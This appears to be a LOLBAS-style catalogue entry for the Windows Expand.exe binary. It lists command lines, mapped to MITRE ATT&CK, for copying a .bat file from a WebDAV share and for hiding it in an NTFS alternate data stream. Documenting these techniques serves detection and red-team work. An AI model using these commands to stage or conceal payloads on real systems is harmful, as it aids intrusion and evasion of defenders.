---
Name: Expand.exe
Description: Binary that expands one or more compressed files
Author: 'Oddvar Moe'
Created: '2018-05-25'
Commands:
  - Command: expand \\webdav\folder\file.bat c:\ADS\file.bat
    Description: Copies source file to destination.
    Usecase: Use to copies the source file to the destination file
    Category: Download
    Privileges: User
    MitreID: T1105
    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: expand c:\ADS\file1.bat c:\ADS\file2.bat
    Description: Copies source file to destination.
    Usecase: Copies files from A to B
    Category: Copy
    Privileges: User
    MitreID: T1105
    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
    Description: Copies source file to destination Alternate Data Stream (ADS)
    Usecase: Copies files from A to B
    Category: Alternate data streams
    Privileges: User
    MitreID: T1096
    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full Path:
  - Path: C:\Windows\System32\Expand.exe
  - Path: C:\Windows\SysWOW64\Expand.exe
Code Sample: 
- Code:
Detection:
 - IOC: 
Resources:
  - Link: https://twitter.com/infosecn1nja/status/986628482858807297
  - Link: https://twitter.com/Oddvarmoe/status/986709068759949319
Acknowledgement:
  - Person: Rahmat Nurfauzi
    Handle: '@infosecn1nja'
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
---